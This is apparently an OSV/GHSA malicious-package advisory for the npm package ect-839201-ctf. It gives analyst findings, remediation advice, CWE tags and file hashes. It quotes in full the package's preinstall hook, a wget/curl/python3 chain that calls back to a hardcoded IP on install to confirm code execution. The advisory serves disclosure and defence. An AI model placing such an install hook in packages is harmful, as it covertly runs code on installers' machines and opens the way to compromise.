MAL-2026-5721

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Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/ect-839201-ctf/MAL-2026-5721.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-5721
Aliases
  • GHSA-g7vq-rhjq-x8rw
Published
2026-06-12T21:31:00Z
Modified
2026-06-16T00:01:52Z
Summary
Malicious code in ect-839201-ctf (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (bda37f74ff0d1b56cb7805906d4fd32a7e2ccc15aa96768d9f9e510202712dcb)

On npm install, package.json's preinstall script executes wget http://10.107.121.85:8000/callback_wget || curl http://10.107.121.85:8000/callback_curl || python3 -c "import urllib.request; urllib.request.urlopen('http://10.107.121.85:8000/callback_py')". This unconditionally beacons to a hardcoded RFC1918 IP over plain HTTP with three different callback paths corresponding to the tool that succeeded — a recon primitive that confirms arbitrary code execution on the installer's machine and enumerates which outbound utilities are available. The package's own description is "Probe", and it ships no functional code. There is no legitimate package-functional purpose for the beacon; the install-time outbound request is the package's entire behavior.

Source: ghsa-malware (8458db2fd0a90fc230b9ec8e68247d35dd0be8f1cd06a22c61f83a90464fa33d)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Database specific 
{
    "malicious-packages-origins": [
        {
            "id": "IN-MAL-2026-006245",
            "import_time": "2026-06-12T21:38:19.284971327Z",
            "modified_time": "2026-06-12T21:31:00Z",
            "sha256": "bda37f74ff0d1b56cb7805906d4fd32a7e2ccc15aa96768d9f9e510202712dcb",
            "source": "amazon-inspector",
            "versions": [
                "1.0.0"
            ]
        },
        {
            "id": "GHSA-g7vq-rhjq-x8rw",
            "import_time": "2026-06-15T23:52:17.80083222Z",
            "modified_time": "2026-06-15T23:34:02Z",
            "ranges": [
                {
                    "events": [
                        {
                            "introduced": "0"
                        }
                    ],
                    "type": "SEMVER"
                }
            ],
            "sha256": "8458db2fd0a90fc230b9ec8e68247d35dd0be8f1cd06a22c61f83a90464fa33d",
            "source": "ghsa-malware"
        }
    ]
}
References
Credits

Affected packages

npm / ect-839201-ctf

Package

Name
ect-839201-ctf
View open source insights on deps.dev
Purl
pkg:npm/ect-839201-ctf

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected

Affected versions

1.*
1.0.0

Database specific

cwes 
[
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    }
]
indicators 
{
    "evidence_files": [
        {
            "path": "package.json",
            "sha256": "fb0f34a86198b457aa539e0fc19c5c2cc6553f5a8a3aacecd850ed0203302582",
            "tlsh": "cee068687860e423a2d4f765dc228e297576ea8a00d0380ad7e3160c85ece2330bce0c"
        }
    ],
    "package_integrity": [
        {
            "filename": "ect-839201-ctf-1.0.0.tgz",
            "hashes": {
                "sha1": "239b3bdf03e523637205c24840e5b66ddc85f984",
                "sha512_sri": "sha512-z9NZe8oOMlDpEOkosd6n/D3FYk5rpdqj8iJai1ab9pFSSB1wbRdlCGScakl88nEwm4QD43zclSYWzuNh+DIGuQ=="
            }
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/ect-839201-ctf/MAL-2026-5721.json"